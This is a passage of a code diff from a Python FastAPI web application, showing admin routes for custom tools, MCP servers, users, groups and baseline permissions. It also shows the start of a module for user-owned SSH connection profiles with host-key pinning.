tool.last_error = str(outcome.event.get("error") or "")
|
||||
tool.last_checked_at = datetime.now(UTC)
|
||||
db.commit()
|
||||
|
||||
return render(
|
||||
request,
|
||||
"admin/_tool_test.html",
|
||||
{
|
||||
"tool": tool,
|
||||
"outcome": outcome,
|
||||
"error": outcome.event.get("error") or "",
|
||||
"detail": outcome.event.get("detail") or "",
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.post("/admin/tools/{tool_id}/delete")
|
||||
async def delete_tool(db: Db, user: AdminUser, tool_id: str) -> Response:
|
||||
tool = _tool(db, tool_id)
|
||||
name = tool.name
|
||||
db.delete(tool)
|
||||
db.commit()
|
||||
log.info("%s deleted custom tool %s", user.email, name)
|
||||
return _back(f"Deleted {name}.")
|
||||
|
||||
|
||||
@router.post("/admin/tools/{tool_id}")
|
||||
async def update_tool(request: Request, db: Db, user: AdminUser, tool_id: str) -> Response:
|
||||
tool = _tool(db, tool_id)
|
||||
form = await request.form()
|
||||
|
||||
# Validated against a draft so that a rejected save leaves the stored row
|
||||
# untouched and the form still holds what was typed.
|
||||
draft = CustomTool(headers_json={}, parameters_json={}, position=tool.position)
|
||||
_populate(draft, form)
|
||||
problem = _problem(db, draft, form, existing_id=tool.id)
|
||||
if problem:
|
||||
draft.id = tool.id
|
||||
draft.secret_encrypted = tool.secret_encrypted
|
||||
return _detail(
|
||||
request,
|
||||
db,
|
||||
draft,
|
||||
is_new=False,
|
||||
error=problem,
|
||||
headers_text=str(form.get("headers") or ""),
|
||||
parameters_text=str(form.get("parameters") or ""),
|
||||
selected_groups=set(form.getlist("group_ids")),
|
||||
)
|
||||
|
||||
_populate(tool, form)
|
||||
tool.slug = draft.slug
|
||||
tool.parameters_json = draft.parameters_json
|
||||
tool.secret_encrypted = keep_or_replace(str(form.get("secret") or ""), tool.secret_encrypted)
|
||||
tool.groups = _chosen_groups(db, form, public=tool.public)
|
||||
db.commit()
|
||||
|
||||
log.info("%s updated custom tool %s", user.email, tool.slug)
|
||||
return _back(f"Saved {tool.name}.")
|
||||
|
||||
|
||||
# --- MCP servers -------------------------------------------------------------
|
||||
MCP_SLUG_PATTERN = re.compile(r"^[a-z0-9][a-z0-9_-]{0,23}$")
|
||||
|
||||
|
||||
def _server(db: Db, server_id: str) -> McpServer:
|
||||
server = db.get(McpServer, server_id)
|
||||
if server is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That server no longer exists.")
|
||||
return server
|
||||
|
||||
|
||||
def _mcp_back(message: str = "") -> Response:
|
||||
target = f"/admin/mcp?saved={message}" if message else "/admin/mcp"
|
||||
return RedirectResponse(target, status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
|
||||
def _populate_server(server: McpServer, form) -> None:
|
||||
server.name = str(form.get("name") or "").strip()[:120]
|
||||
server.url = str(form.get("url") or "").strip()[:1000]
|
||||
server.guidance = str(form.get("guidance") or "").replace("\r\n", "\n").strip()
|
||||
server.headers_json = _parse_headers(str(form.get("headers") or ""))
|
||||
|
||||
placement = str(form.get("secret_placement") or SECRET_NONE)
|
||||
server.secret_placement = placement if placement in SECRET_PLACEMENTS else SECRET_NONE
|
||||
server.secret_name = str(form.get("secret_name") or "Authorization").strip()[:120]
|
||||
|
||||
server.timeout = _number(
|
||||
form.get("timeout"), default=30, low=mcp_client.MIN_TIMEOUT, high=mcp_client.MAX_TIMEOUT
|
||||
)
|
||||
server.max_chars = _number(
|
||||
form.get("max_chars"), default=8000, low=mcp_client.MIN_CHARS, high=mcp_client.MAX_CHARS
|
||||
)
|
||||
server.position = _number(form.get("position"), default=server.position or 0, low=0, high=999)
|
||||
|
||||
server.allow_private = "allow_private" in form
|
||||
server.enabled = "enabled" in form
|
||||
server.public = "public" in form
|
||||
|
||||
# One checkbox per advertised tool, so an unticked one is absent. The
|
||||
# stored map holds only the refusals; absent means on.
|
||||
if "tool_choices" in form:
|
||||
offered = set(form.getlist("tool_names"))
|
||||
chosen = set(form.getlist("tool_names_on"))
|
||||
server.tool_overrides_json = dict.fromkeys(offered - chosen, False)
|
||||
|
||||
|
||||
def _server_problem(db: Db, server: McpServer, form, *, existing_id: str = "") -> str:
|
||||
if not server.name:
|
||||
return "A server needs a name."
|
||||
|
||||
slug = str(form.get("slug") or "").strip().lower()
|
||||
if not MCP_SLUG_PATTERN.match(slug):
|
||||
return (
|
||||
"The identifier must be lowercase letters, digits, hyphens or "
|
||||
"underscores, and at most 24 characters. It prefixes every tool "
|
||||
"name this server offers."
|
||||
)
|
||||
clash = db.scalar(select(McpServer).where(McpServer.slug == slug))
|
||||
if clash is not None and clash.id != existing_id:
|
||||
return f"There is already a server called “{slug}”."
|
||||
server.slug = slug
|
||||
|
||||
try:
|
||||
check_url(server.url, allow_private=True)
|
||||
except FetchError as exc:
|
||||
return exc.message
|
||||
return ""
|
||||
|
||||
|
||||
def _server_detail(
|
||||
request: Request, db: Db, server: McpServer, *, is_new: bool, error: str = "", **extra
|
||||
):
|
||||
key = f"tool.mcp_{server.slug}" if server.slug else ""
|
||||
overrides = server.tool_overrides_json or {}
|
||||
return render(
|
||||
request,
|
||||
"admin/mcp_detail.html",
|
||||
{
|
||||
"server": server,
|
||||
"is_new": is_new,
|
||||
"error": error,
|
||||
"groups": list(db.scalars(select(Group).order_by(Group.name))),
|
||||
"selected_groups": extra.pop(
|
||||
"selected_groups", {group.id for group in (server.groups if server.id else [])}
|
||||
),
|
||||
"headers_text": extra.pop("headers_text", _headers_text(server.headers_json)),
|
||||
"tools": [
|
||||
{**entry, "on": overrides.get(entry.get("name"), True)}
|
||||
for entry in (server.tools_json or [])
|
||||
if isinstance(entry, dict)
|
||||
],
|
||||
"masked": mask(decrypt(server.secret_encrypted)) if server.secret_encrypted else "",
|
||||
"unchanged": UNCHANGED_SENTINEL,
|
||||
"secret_placements": SECRET_LABELS,
|
||||
"prompt_key": key,
|
||||
"prompt_overridden": key in prompts_service.stored(db),
|
||||
**extra,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.get("/admin/mcp")
|
||||
async def mcp_page(request: Request, db: Db, user: AdminUser, saved: str = ""):
|
||||
servers = list(db.scalars(select(McpServer).order_by(McpServer.position, McpServer.slug)))
|
||||
return render(
|
||||
request,
|
||||
"admin/mcp.html",
|
||||
{
|
||||
"servers": servers,
|
||||
"counts": {server.id: len(server.tools_json or []) for server in servers},
|
||||
"saved": saved,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
# Registered before /{server_id}, for the reason given above.
|
||||
@router.get("/admin/mcp/new")
|
||||
async def new_server_page(request: Request, db: Db, user: AdminUser):
|
||||
draft = McpServer(
|
||||
name="",
|
||||
slug="",
|
||||
url="https://",
|
||||
secret_placement=SECRET_NONE,
|
||||
timeout=30,
|
||||
max_chars=8000,
|
||||
enabled=True,
|
||||
public=True,
|
||||
position=0,
|
||||
tools_json=[],
|
||||
tool_overrides_json={},
|
||||
)
|
||||
return _server_detail(request, db, draft, is_new=True)
|
||||
|
||||
|
||||
@router.post("/admin/mcp")
|
||||
async def create_server(request: Request, db: Db, user: AdminUser) -> Response:
|
||||
form = await request.form()
|
||||
draft = McpServer(headers_json={}, tools_json=[], tool_overrides_json={})
|
||||
_populate_server(draft, form)
|
||||
draft.position = db.scalar(select(func.coalesce(func.max(McpServer.position), -1))) + 1
|
||||
|
||||
problem = _server_problem(db, draft, form)
|
||||
if problem:
|
||||
return _server_detail(
|
||||
request,
|
||||
db,
|
||||
draft,
|
||||
is_new=True,
|
||||
error=problem,
|
||||
headers_text=str(form.get("headers") or ""),
|
||||
selected_groups=set(form.getlist("group_ids")),
|
||||
)
|
||||
|
||||
draft.secret_encrypted = keep_or_replace(str(form.get("secret") or ""), "")
|
||||
draft.groups = _chosen_groups(db, form, public=draft.public)
|
||||
db.add(draft)
|
||||
db.commit()
|
||||
|
||||
# Discovered immediately, the way a new connection's models are: an
|
||||
# administrator who has just typed a URL wants to know whether it answered.
|
||||
count, error = await mcp_registry.refresh(db, draft)
|
||||
log.info("%s added MCP server %s (%d tools)", user.email, draft.slug, count)
|
||||
if error:
|
||||
return _mcp_back(f"Added {draft.name}, but it could not be reached: {error}")
|
||||
return _mcp_back(f"Added {draft.name} — {count} tool(s).")
|
||||
|
||||
|
||||
@router.get("/admin/mcp/{server_id}/edit")
|
||||
async def edit_server_page(request: Request, db: Db, user: AdminUser, server_id: str):
|
||||
return _server_detail(request, db, _server(db, server_id), is_new=False)
|
||||
|
||||
|
||||
@router.post("/admin/mcp/{server_id}/test")
|
||||
async def test_server(request: Request, db: Db, user: AdminUser, server_id: str):
|
||||
"""Contact the server and cache what it advertises.
|
||||
|
||||
Returns the row fragment, swapped in place, exactly as "Test & refresh"
|
||||
does for a connection.
|
||||
"""
|
||||
server = _server(db, server_id)
|
||||
count, error = await mcp_registry.refresh(db, server)
|
||||
message = (
|
||||
f"{server.name}: {error}"
|
||||
if error
|
||||
else f"{server.name}: found {count} tool{'s' if count != 1 else ''}."
|
||||
)
|
||||
return render(
|
||||
request,
|
||||
"admin/_mcp_row.html",
|
||||
{
|
||||
"server": server,
|
||||
"tool_count": len(server.tools_json or []),
|
||||
"message": message,
|
||||
"message_kind": "error" if error else "success",
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.post("/admin/mcp/{server_id}/delete")
|
||||
async def delete_server(db: Db, user: AdminUser, server_id: str) -> Response:
|
||||
server = _server(db, server_id)
|
||||
name = server.name
|
||||
db.delete(server)
|
||||
db.commit()
|
||||
log.info("%s deleted MCP server %s", user.email, name)
|
||||
return _mcp_back(f"Deleted {name}.")
|
||||
|
||||
|
||||
@router.post("/admin/mcp/{server_id}")
|
||||
async def update_server(request: Request, db: Db, user: AdminUser, server_id: str) -> Response:
|
||||
server = _server(db, server_id)
|
||||
form = await request.form()
|
||||
|
||||
draft = McpServer(headers_json={}, tools_json=[], position=server.position)
|
||||
_populate_server(draft, form)
|
||||
problem = _server_problem(db, draft, form, existing_id=server.id)
|
||||
if problem:
|
||||
draft.id = server.id
|
||||
draft.secret_encrypted = server.secret_encrypted
|
||||
draft.tools_json = server.tools_json
|
||||
return _server_detail(
|
||||
request,
|
||||
db,
|
||||
draft,
|
||||
is_new=False,
|
||||
error=problem,
|
||||
headers_text=str(form.get("headers") or ""),
|
||||
selected_groups=set(form.getlist("group_ids")),
|
||||
)
|
||||
|
||||
_populate_server(server, form)
|
||||
server.slug = draft.slug
|
||||
server.secret_encrypted = keep_or_replace(
|
||||
str(form.get("secret") or ""), server.secret_encrypted
|
||||
)
|
||||
server.groups = _chosen_groups(db, form, public=server.public)
|
||||
db.commit()
|
||||
|
||||
log.info("%s updated MCP server %s", user.email, server.slug)
|
||||
return _mcp_back(f"Saved {server.name}.")
|
||||
@@ -0,0 +1,268 @@
|
||||
"""User and group administration."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
|
||||
from fastapi import APIRouter, Form, HTTPException, Request, Response, status
|
||||
from fastapi.responses import RedirectResponse
|
||||
from sqlalchemy import func, or_, select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.api.deps import AdminUser, Db
|
||||
from lembas.db.models import ROLE_ADMIN, ROLE_PENDING, ROLE_USER, Group, Model, User
|
||||
from lembas.security import permissions
|
||||
from lembas.security.passwords import hash_password, validate_password
|
||||
from lembas.security.sessions import revoke_all_for_user
|
||||
from lembas.services import settings_store
|
||||
from lembas.web.templating import render
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(prefix="/admin", tags=["admin-users"])
|
||||
|
||||
ROLES = (ROLE_ADMIN, ROLE_USER, ROLE_PENDING)
|
||||
|
||||
|
||||
def _user(db: DBSession, user_id: str) -> User:
|
||||
found = db.get(User, user_id)
|
||||
if found is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That user no longer exists.")
|
||||
return found
|
||||
|
||||
|
||||
def _group(db: DBSession, group_id: str) -> Group:
|
||||
found = db.get(Group, group_id)
|
||||
if found is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That group no longer exists.")
|
||||
return found
|
||||
|
||||
|
||||
def _admin_count(db: DBSession) -> int:
|
||||
return db.scalar(
|
||||
select(func.count()).select_from(User).where(User.role == ROLE_ADMIN, User.active.is_(True))
|
||||
)
|
||||
|
||||
|
||||
def _would_orphan_the_instance(db: DBSession, user: User) -> bool:
|
||||
"""True if changing this user would leave nobody able to administer.
|
||||
|
||||
An instance with no active administrator can only be recovered from the
|
||||
command line, so every path that could cause it is blocked in the UI.
|
||||
"""
|
||||
return user.role == ROLE_ADMIN and user.active and _admin_count(db) <= 1
|
||||
|
||||
|
||||
# --- Users -------------------------------------------------------------------
|
||||
@router.get("/users")
|
||||
async def users_page(request: Request, db: Db, user: AdminUser, q: str = "", saved: str = ""):
|
||||
query = select(User).order_by(User.created_at)
|
||||
if q.strip():
|
||||
pattern = f"%{q.strip()}%"
|
||||
query = query.where(or_(User.name.ilike(pattern), User.email.ilike(pattern)))
|
||||
|
||||
return render(
|
||||
request,
|
||||
"admin/users.html",
|
||||
{
|
||||
"users": list(db.scalars(query)),
|
||||
"groups": list(db.scalars(select(Group).order_by(Group.name))),
|
||||
"roles": ROLES,
|
||||
"q": q,
|
||||
"saved": saved,
|
||||
"admin_count": _admin_count(db),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.post("/users")
|
||||
async def create_user(
|
||||
db: Db,
|
||||
user: AdminUser,
|
||||
name: str = Form(...),
|
||||
email: str = Form(...),
|
||||
password: str = Form(...),
|
||||
role: str = Form(ROLE_USER),
|
||||
) -> Response:
|
||||
"""Create an account directly, without going through registration."""
|
||||
email = email.strip().lower()
|
||||
if (problem := validate_password(password)) is not None:
|
||||
return RedirectResponse(f"/admin/users?saved={problem}", status_code=303)
|
||||
if db.scalar(select(User).where(User.email == email)) is not None:
|
||||
return RedirectResponse(
|
||||
"/admin/users?saved=That+email+is+already+registered.", status_code=303
|
||||
)
|
||||
|
||||
db.add(
|
||||
User(
|
||||
name=name.strip()[:120] or email,
|
||||
email=email,
|
||||
password_hash=hash_password(password),
|
||||
role=role if role in ROLES else ROLE_USER,
|
||||
)
|
||||
)
|
||||
db.commit()
|
||||
log.info("%s created account %s", user.email, email)
|
||||
return RedirectResponse(f"/admin/users?saved=Created+{email}.", status_code=303)
|
||||
|
||||
|
||||
@router.post("/users/{user_id}")
|
||||
async def update_user(
|
||||
db: Db,
|
||||
user: AdminUser,
|
||||
user_id: str,
|
||||
name: str = Form(...),
|
||||
role: str = Form(ROLE_USER),
|
||||
active: bool = Form(False),
|
||||
group_ids: list[str] = Form(default=[]),
|
||||
) -> Response:
|
||||
target = _user(db, user_id)
|
||||
|
||||
losing_admin = target.role == ROLE_ADMIN and (role != ROLE_ADMIN or not active)
|
||||
if losing_admin and _would_orphan_the_instance(db, target):
|
||||
return RedirectResponse(
|
||||
"/admin/users?saved=That+is+the+only+administrator.+Promote+someone+else+first.",
|
||||
status_code=303,
|
||||
)
|
||||
|
||||
target.name = name.strip()[:120] or target.name
|
||||
target.role = role if role in ROLES else target.role
|
||||
target.active = active
|
||||
target.groups = list(db.scalars(select(Group).where(Group.id.in_(group_ids or []))))
|
||||
|
||||
# A deactivated or demoted user must lose their live sessions immediately,
|
||||
# otherwise the change only takes effect when their cookie happens to expire.
|
||||
if not active:
|
||||
revoke_all_for_user(db, target)
|
||||
|
||||
db.commit()
|
||||
log.info("%s updated account %s (role=%s active=%s)", user.email, target.email, role, active)
|
||||
return RedirectResponse(f"/admin/users?saved=Saved+{target.email}.", status_code=303)
|
||||
|
||||
|
||||
@router.post("/users/{user_id}/password")
|
||||
async def reset_password(
|
||||
db: Db, user: AdminUser, user_id: str, password: str = Form(...)
|
||||
) -> Response:
|
||||
target = _user(db, user_id)
|
||||
if (problem := validate_password(password)) is not None:
|
||||
return RedirectResponse(f"/admin/users?saved={problem}", status_code=303)
|
||||
|
||||
target.password_hash = hash_password(password)
|
||||
db.commit()
|
||||
# Everywhere that account was signed in is now signed out. An admin reset
|
||||
# usually means the account is compromised or the person is gone.
|
||||
revoke_all_for_user(db, target)
|
||||
log.info("%s reset the password for %s", user.email, target.email)
|
||||
return RedirectResponse(
|
||||
f"/admin/users?saved=Password+reset+for+{target.email}.+Sessions+revoked.",
|
||||
status_code=303,
|
||||
)
|
||||
|
||||
|
||||
@router.post("/users/{user_id}/delete")
|
||||
async def delete_user(db: Db, user: AdminUser, user_id: str) -> Response:
|
||||
target = _user(db, user_id)
|
||||
|
||||
if target.id == user.id:
|
||||
return RedirectResponse(
|
||||
"/admin/users?saved=You+cannot+delete+your+own+account.", status_code=303
|
||||
)
|
||||
if _would_orphan_the_instance(db, target):
|
||||
return RedirectResponse(
|
||||
"/admin/users?saved=That+is+the+only+administrator.", status_code=303
|
||||
)
|
||||
|
||||
email = target.email
|
||||
# Chats and folders cascade; that is the point of deleting an account.
|
||||
db.delete(target)
|
||||
db.commit()
|
||||
log.info("%s deleted account %s", user.email, email)
|
||||
return RedirectResponse(f"/admin/users?saved=Deleted+{email}.", status_code=303)
|
||||
|
||||
|
||||
# --- Groups ------------------------------------------------------------------
|
||||
@router.get("/groups")
|
||||
async def groups_page(request: Request, db: Db, user: AdminUser, saved: str = ""):
|
||||
return render(
|
||||
request,
|
||||
"admin/groups.html",
|
||||
{
|
||||
"groups": list(db.scalars(select(Group).order_by(Group.name))),
|
||||
"users": list(db.scalars(select(User).order_by(User.name))),
|
||||
"models": list(db.scalars(select(Model).order_by(Model.position, Model.model_id))),
|
||||
"permission_groups": permissions.permission_groups(),
|
||||
"baseline": permissions.baseline_permissions(db),
|
||||
"saved": saved,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.post("/groups")
|
||||
async def create_group(db: Db, user: AdminUser, name: str = Form(...)) -> Response:
|
||||
name = name.strip()[:120]
|
||||
if not name:
|
||||
return RedirectResponse("/admin/groups?saved=A+group+needs+a+name.", status_code=303)
|
||||
if db.scalar(select(Group).where(Group.name == name)) is not None:
|
||||
return RedirectResponse(
|
||||
"/admin/groups?saved=A+group+with+that+name+already+exists.", status_code=303
|
||||
)
|
||||
|
||||
db.add(Group(name=name))
|
||||
db.commit()
|
||||
log.info("%s created group %s", user.email, name)
|
||||
return RedirectResponse(f"/admin/groups?saved=Created+{name}.", status_code=303)
|
||||
|
||||
|
||||
@router.post("/groups/{group_id}")
|
||||
async def update_group(
|
||||
db: Db,
|
||||
user: AdminUser,
|
||||
group_id: str,
|
||||
name: str = Form(...),
|
||||
description: str = Form(""),
|
||||
permission: list[str] = Form(default=[]),
|
||||
user_ids: list[str] = Form(default=[]),
|
||||
model_ids: list[str] = Form(default=[]),
|
||||
) -> Response:
|
||||
group = _group(db, group_id)
|
||||
|
||||
group.name = name.strip()[:120] or group.name
|
||||
group.description = description.strip()[:1000]
|
||||
# The submitted checkbox list is the complete new state; absent means the
|
||||
# group does not grant that permission, not that it denies it.
|
||||
group.permissions_json = {key: True for key in permission if key in permissions.PERMISSION_KEYS}
|
||||
group.users = list(db.scalars(select(User).where(User.id.in_(user_ids or []))))
|
||||
group.models = list(db.scalars(select(Model).where(Model.id.in_(model_ids or []))))
|
||||
|
||||
db.commit()
|
||||
log.info("%s updated group %s", user.email, group.name)
|
||||
return RedirectResponse(f"/admin/groups?saved=Saved+{group.name}.", status_code=303)
|
||||
|
||||
|
||||
@router.post("/groups/{group_id}/delete")
|
||||
async def delete_group(db: Db, user: AdminUser, group_id: str) -> Response:
|
||||
group = _group(db, group_id)
|
||||
name = group.name
|
||||
# Members and model links go with it; the users themselves are untouched.
|
||||
db.delete(group)
|
||||
db.commit()
|
||||
log.info("%s deleted group %s", user.email, name)
|
||||
return RedirectResponse(f"/admin/groups?saved=Deleted+{name}.", status_code=303)
|
||||
|
||||
|
||||
@router.post("/permissions/defaults")
|
||||
async def save_baseline(
|
||||
db: Db, user: AdminUser, permission: list[str] = Form(default=[])
|
||||
) -> Response:
|
||||
"""The permissions every user has before any group widens them."""
|
||||
settings_store.update(
|
||||
db,
|
||||
{
|
||||
"default_permissions": {
|
||||
key: (key in permission) for key in permissions.PERMISSION_KEYS
|
||||
}
|
||||
},
|
||||
)
|
||||
log.info("%s changed the baseline permissions", user.email)
|
||||
return RedirectResponse("/admin/groups?saved=Default+permissions+saved.", status_code=303)
|
||||
@@ -0,0 +1,427 @@
|
||||
"""SSH connections, kept by the people who own them.
|
||||
|
||||
Not an admin screen. These are somebody's own machines and somebody's own keys,
|
||||
so the pages sit beside the library rather than under `/admin` -- an
|
||||
administrator decides only whether the feature exists at all.
|
||||
|
||||
Trust on first use, made explicit. Adding a host does not connect to it; the
|
||||
**Check** button looks at its key, shows the fingerprint, and waits. Only when
|
||||
that is accepted is the key pinned, and only then will anything authenticate.
|
||||
`asyncssh.get_server_host_key` completes the key exchange and stops, so a host
|
||||
that has not been accepted is never offered a username, let alone a credential.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
from datetime import UTC, datetime
|
||||
|
||||
from fastapi import APIRouter, Depends, HTTPException, Request, Response, status
|
||||
from fastapi.responses import RedirectResponse
|
||||
from sqlalchemy import select
|
||||
|
||||
from lembas.api.deps import Db, RequiredUser, require_permission
|
||||
from lembas.api.pages import sidebar_context
|
||||
from lembas.db.models import AUTH_METHODS, AUTH_PASSWORD, SshProfile
|
||||
from lembas.services import settings_store
|
||||
from lembas.services.agent import index as index_service
|
||||
from lembas.services.agent import ssh as ssh_service
|
||||
from lembas.services.agent import terminal as terminal_service
|
||||
from lembas.services.agent.base import ExecError
|
||||
from lembas.services.crypto import UNCHANGED_SENTINEL, decrypt, keep_or_replace, mask
|
||||
from lembas.web.templating import render
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(
|
||||
dependencies=[Depends(require_permission("agent.ssh"))], tags=["agents"]
|
||||
)
|
||||
|
||||
|
||||
def _profile(db: Db, user: RequiredUser, profile_id: str) -> SshProfile:
|
||||
"""One profile belonging to this person.
|
||||
|
||||
Ownership is the whole authorisation. `sharing.py` is deliberately not
|
||||
involved: it grants reading, and a host somebody else can read is a host
|
||||
they can log in to.
|
||||
"""
|
||||
profile = db.get(SshProfile, profile_id)
|
||||
if profile is None or profile.owner_id != user.id:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That connection no longer exists.")
|
||||
return profile
|
||||
|
||||
|
||||
def _owned(db: Db, user_id: str) -> list[SshProfile]:
|
||||
return list(
|
||||
db.scalars(
|
||||
select(SshProfile).where(SshProfile.owner_id == user_id).order_by(SshProfile.name)
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
def _back(message: str = "") -> Response:
|
||||
target = f"/agents?saved={message}" if message else "/agents"
|
||||
return RedirectResponse(target, status_code=status.HTTP_303_SEE_OTHER)
|
||||
|
||||
|
||||
def _number(raw, *, default: int, low: int, high: int) -> int:
|
||||
text = str(raw or "").strip()
|
||||
if not text.isdigit():
|
||||
return default
|
||||
return min(max(int(text), low), high)
|
||||
|
||||
|
||||
def _apply(profile: SshProfile, form) -> None:
|
||||
"""Copy a submitted form onto a profile.
|
||||
|
||||
Checkboxes are read by key presence: FastAPI cannot tell `x=` from an absent
|
||||
`x`, and an absent one is exactly what an unticked box sends.
|
||||
"""
|
||||
profile.name = str(form.get("name") or "").strip()[:120]
|
||||
profile.host = str(form.get("host") or "").strip()[:255]
|
||||
profile.username = str(form.get("username") or "").strip()[:120]
|
||||
profile.port = _number(form.get("port"), default=22, low=1, high=65535)
|
||||
profile.connect_timeout = _number(form.get("connect_timeout"), default=15, low=3, high=120)
|
||||
profile.default_dir = str(form.get("default_dir") or "").strip()[:500]
|
||||
|
||||
method = str(form.get("auth") or "").strip()
|
||||
profile.auth = method if method in AUTH_METHODS else profile.auth
|
||||
profile.enabled = "enabled" in form
|
||||
|
||||
|
||||
def _detail(
|
||||
request: Request,
|
||||
db: Db,
|
||||
user: RequiredUser,
|
||||
profile: SshProfile,
|
||||
*,
|
||||
is_new: bool,
|
||||
error: str = "",
|
||||
saved: str = "",
|
||||
):
|
||||
# The user is passed rather than read off the profile: a draft has never
|
||||
# been attached to a session, so `profile.owner` is None on the one page
|
||||
# that most needs a sidebar.
|
||||
return render(
|
||||
request,
|
||||
"agents/detail.html",
|
||||
{
|
||||
**sidebar_context(db, user),
|
||||
"profile": profile,
|
||||
"is_new": is_new,
|
||||
"error": error,
|
||||
"saved": saved,
|
||||
"unchanged": UNCHANGED_SENTINEL,
|
||||
"masked_password": mask(decrypt(profile.password_encrypted))
|
||||
if profile.password_encrypted
|
||||
else "",
|
||||
"has_key": bool(profile.private_key_encrypted),
|
||||
"problem": ssh_service.available(),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.get("/agents")
|
||||
async def agents_page(request: Request, db: Db, user: RequiredUser, saved: str = ""):
|
||||
return render(
|
||||
request,
|
||||
"agents/index.html",
|
||||
{
|
||||
**sidebar_context(db, user),
|
||||
"profiles": _owned(db, user.id),
|
||||
"saved": saved,
|
||||
"problem": ssh_service.available(),
|
||||
"enabled": bool(settings_store.agents(db).get("enabled")),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
# Registered before /{profile_id}: FastAPI matches in registration order, so
|
||||
# with the parameterised route first "new" is captured as an id. This has been
|
||||
# a bug once already, in /admin/models.
|
||||
@router.get("/agents/new")
|
||||
async def new_profile_page(request: Request, db: Db, user: RequiredUser):
|
||||
draft = SshProfile(
|
||||
owner_id=user.id, name="", host="", username="", port=22, connect_timeout=15, enabled=True
|
||||
)
|
||||
return _detail(request, db, user, draft, is_new=True)
|
||||
|
||||
|
||||
@router.post("/api/agents")
|
||||
async def create_profile(request: Request, db: Db, user: RequiredUser) -> Response:
|
||||
form = await request.form()
|
||||
profile = SshProfile(owner_id=user.id)
|
||||
_apply(profile, form)
|
||||
|
||||
if problem := _problem(db, profile, user.id):
|
||||
return _detail(request, db, user, profile, is_new=True, error=problem)
|
||||
|
||||
profile.password_encrypted = keep_or_replace(str(form.get("password") or ""), "")
|
||||
profile.private_key_encrypted = keep_or_replace(str(form.get("private_key") or ""), "")
|
||||
profile.key_passphrase_encrypted = keep_or_replace(str(form.get("key_passphrase") or ""), "")
|
||||
db.add(profile)
|
||||
db.commit()
|
||||
|
||||
log.info("%s added ssh profile %s", user.email, profile.name)
|
||||
return RedirectResponse(
|
||||
f"/agents/{profile.id}?saved=Added+{profile.name}.+Check+it+to+confirm+its+fingerprint.",
|
||||
status_code=status.HTTP_303_SEE_OTHER,
|
||||
)
|
||||
|
||||
|
||||
def _problem(db: Db, profile: SshProfile, owner_id: str, *, existing_id: str = "") -> str:
|
||||
if not profile.name:
|
||||
return "A connection needs a name."
|
||||
if not profile.host:
|
||||
return "A connection needs a host."
|
||||
if not profile.username:
|
||||
return "A connection needs a username to log in as."
|
||||
|
||||
clash = db.scalar(
|
||||
select(SshProfile).where(
|
||||
SshProfile.owner_id == owner_id, SshProfile.name == profile.name
|
||||
)
|
||||
)
|
||||
if clash is not None and clash.id != existing_id:
|
||||
return f"You already have a connection called “{profile.name}”."
|
||||
return ""
|
||||
|
||||
|
||||
@router.get("/agents/{profile_id}")
|
||||
async def profile_page(
|
||||
request: Request, db: Db, user: RequiredUser, profile_id: str, saved: str = ""
|
||||
):
|
||||
profile = _profile(db, user, profile_id)
|
||||
return _detail(request, db, user, profile, is_new=False, saved=saved)
|
||||
|
||||
|
||||
@router.get("/api/agents/{profile_id}/browse")
|
||||
async def browse_profile(
|
||||
request: Request, db: Db, user: RequiredUser, profile_id: str, path: str = ""
|
||||
):
|
||||
"""One directory on the far side, as a fragment the picker swaps in.
|
||||
|
||||
Hung off the profile rather than the chat because the commonest caller is
|
||||
the *new*-chat composer, where there is no chat yet -- the directory is one
|
||||
of the things being chosen. Ownership of the profile is the whole
|
||||
authorisation, as everywhere else in this module.
|
||||
|
||||
This is a person clicking, not a model calling, so it does not go through
|
||||
`agent/policy.py`. That is the same argument the terminal panel rests on and
|
||||
it holds for the same reason -- somebody who owns the credential could list
|
||||
the directory with an ssh client -- but it does mean Manual mode's promise
|
||||
that everything is shown to you first now has a second exception. Both are
|
||||
written down in CLAUDE.md.
|
||||
"""
|
||||
profile = _profile(db, user, profile_id)
|
||||
entries: list = []
|
||||
error = ""
|
||||
|
||||
if hint := ssh_service.available():
|
||||
error = hint
|
||||
elif not profile.host_key:
|
||||
# connect_kwargs would raise the same thing, but a picker that opens on
|
||||
# a wall of prose about known_hosts is worse than one that says this.
|
||||
error = "This connection's host key has not been confirmed yet. Check it first."
|
||||
else:
|
||||
try:
|
||||
executor = ssh_service.SshExecutor(ssh_service.spec_from(profile), "")
|
||||
entries = await executor.scan_dir(path or profile.default_dir or "/")
|
||||
except ExecError as exc:
|
||||
error = exc.message
|
||||
|
||||
here = path or profile.default_dir or "/"
|
||||
return render(
|
||||
request,
|
||||
"agents/_browse.html",
|
||||
{
|
||||
"profile": profile,
|
||||
"here": here,
|
||||
"parent": _parent_of(here),
|
||||
"entries": entries,
|
||||
"error": error,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
def _parent_of(path: str) -> str:
|
||||
"""The directory above, or "" at the root.
|
||||
|
||||
Plain string work rather than pathlib: these are POSIX paths on somebody
|
||||
else's machine, and running them through a local Path would apply this
|
||||
host's rules to them.
|
||||
"""
|
||||
trimmed = (path or "/").rstrip("/")
|
||||
if not trimmed or trimmed == "":
|
||||
return ""
|
||||
head = trimmed.rsplit("/", 1)[0]
|
||||
return head or "/"
|
||||
|
||||
|
||||
@router.post("/api/agents/{profile_id}/check")
|
||||
async def check_profile(request: Request, db: Db, user: RequiredUser, profile_id: str):
|
||||
